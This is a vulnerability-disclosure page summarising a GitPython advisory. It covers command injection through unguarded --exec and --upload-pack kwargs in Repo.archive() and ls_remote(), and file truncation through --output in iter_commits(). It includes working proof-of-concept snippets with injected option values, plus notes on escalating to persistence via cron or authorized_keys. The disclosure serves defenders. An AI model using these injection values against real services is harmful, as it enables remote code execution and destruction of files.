# GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

GitPython's dynamic repo.git.<cmd>(**kwargs) builder skips the unsafe-option denylist, letting attacker-supplied kwargs inject --exec/--upload-pack for RCE and --output for file clobber.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by (vendor credit): miauzxw
- Found by: miauzxw
- Disclosed: 2026-07-21
- CVE: CVE-2026-67323
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-956x-8gvw-wg5v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-956x-8gvw-wg5v
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** GitPython library dynamic git command builder (Repo.archive, git.ls_remote, iter_commits, blame)
**Root cause:** Git.check_unsafe_options() denylisting --upload-pack/--exec is only invoked from fetch/pull/push/clone_from; other call paths that build argv from caller kwargs (transform_kwarg dashifies kwargs before the `--`) never run the check, and rev arguments are placed before `--` without a leading-dash check.
**Steps:**
1. Init a repo and instantiate `git.Repo(d)` with GitPython 3.1.50.
2. Call `repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch /tmp/marker'})` — kwargs are dashified before the `--`, producing `git archive --remote=. --exec=touch /tmp/marker -- <rev>`; marker file is created.
3. Call `repo.git.ls_remote('.', upload_pack='touch /tmp/marker;')` — same builder gap yields `--upload-pack` execution.
4. Call `list(repo.iter_commits('--output=/tmp/release_notes.txt'))` — rev placed before `--`, git truncates the target file before validating the revision.
**How found:** Noticed the existing denylist for --upload-pack/--exec is only wired into fetch/pull/push/clone_from, then traced the shared argv builder: transform_kwarg dashifies kwargs and places them before the `--` separator, so any other dynamic `repo.git.<anything>(**user_dict)` call bypasses the check; separately observed rev arguments are placed before `--` with no leading-dash validation.
**Exploitation:** Any service that forwards user-controlled option dicts or ref names into GitPython's dynamic `repo.git.<cmd>(**kwargs)` surface (e.g. an archive/export endpoint passing format/prefix/path kwargs) gets arbitrary command execution via `--exec`/`--upload-pack` under default git config, or arbitrary file truncation/overwrite via `--output` in rev-list/blame.
**Escalation:** Chaining the file-clobber primitive with a writable path (e.g. cron, authorized_keys, config) escalates to persistence; the exec primitive is already direct RCE.
**Insight:** When a library patches injection by denylisting dangerous flags, check every other entry point that shares the same argv builder — the fix is usually applied at call sites, not in the builder, leaving the dynamic `repo.git.<cmd>(**kwargs)` surface and positional-arg-before-`--` paths open.

## Proof of concept (copied exactly from the original report)

**archive() exec option command injection PoC**

```
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
```

**ls_remote upload_pack command injection PoC**

```
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
```

**iter_commits --output file truncation PoC**

```
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
```

